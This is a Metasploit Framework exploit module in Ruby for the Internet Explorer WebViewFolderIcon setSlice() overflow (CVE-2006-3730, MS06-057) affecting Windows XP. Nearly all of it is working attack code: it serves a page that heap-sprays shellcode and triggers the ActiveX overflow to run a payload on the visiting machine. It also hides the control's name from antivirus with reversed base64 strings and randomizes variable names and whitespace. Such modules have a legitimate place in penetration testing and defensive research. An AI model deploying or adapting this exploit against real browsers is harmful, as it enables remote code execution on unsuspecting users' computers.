##
# $Id: ms06_057_webview_setslice.rb 9669 2010-07-03 03:13:45Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer WebViewFolderIcon setSlice() Overflow',
'Description' => %q{
This module exploits a flaw in the WebViewFolderIcon ActiveX control
included with Windows 2000, Windows XP, and Windows 2003. This flaw was published
during the Month of Browser Bugs project (MoBB #18).
},
'License' => MSF_LICENSE,
'Author' =>
[
'hdm',
],
'Version' => '$Revision: 9669 $',
'References' =>
[
[ 'CVE', '2006-3730'],
[ 'OSVDB', '27110' ],
[ 'MSB', 'MS06-057'],
[ 'BID', '19030' ],
[ 'URL', 'http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.html' ]
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
['Windows XP SP0-SP2 / IE 6.0SP1 English', {'Ret' => 0x0c0c0c0c} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 17 2006'))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Get a unicode friendly version of the return address
addr_word = [target.ret].pack('V').unpack('H*')[0][0,4]
# Randomize the javascript variable names
var_buffer = rand_text_alpha(rand(30)+2)
var_shellcode = rand_text_alpha(rand(30)+2)
var_unescape = rand_text_alpha(rand(30)+2)
var_x = rand_text_alpha(rand(30)+2)
var_i = rand_text_alpha(rand(30)+2)
var_tic = rand_text_alpha(rand(30)+2)
var_toc = rand_text_alpha(rand(30)+2)
# Annoying AVs
var_aname = "==QMu42bjlkclRGbvZ0dllmViV2Vu42bjlkclRGbvZ0dllmViV2V".reverse.unpack("m*")[0]
var_ameth = "=U2Ypx2U0V2c".reverse.unpack("m*")[0]
# Randomize HTML data
html = rand_text_alpha(rand(30)+2)
# Build out the message
content = %Q|
<html>
<head>
<script>
try {
var #{var_unescape} = unescape ;
var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;
var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;
while (#{var_buffer}.length <= 0x100000) #{var_buffer}+=#{var_buffer} ;
var #{var_x} = new Array() ;
for ( var #{var_i} =0 ; #{var_i} < 120 ; #{var_i}++ ) {
#{var_x}[ #{var_i} ] =
#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ;
}
for ( var #{var_i} = 0 ; #{var_i} < 1024 ; #{var_i}++) {
var #{var_tic} = new ActiveXObject( '#{var_aname}' );
try { #{var_tic}.#{var_ameth}( 0x7ffffffe , 0 , 0 , #{target.ret} ) ; } catch( e ) { }
var #{var_toc} = new ActiveXObject( '#{var_aname}' );
}
} catch( e ) { window.location = 'about:blank' ; }
</script>
</head>
<body>
#{html}
</body>
</html>
|
content = Rex::Text.randomize_space(content)
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
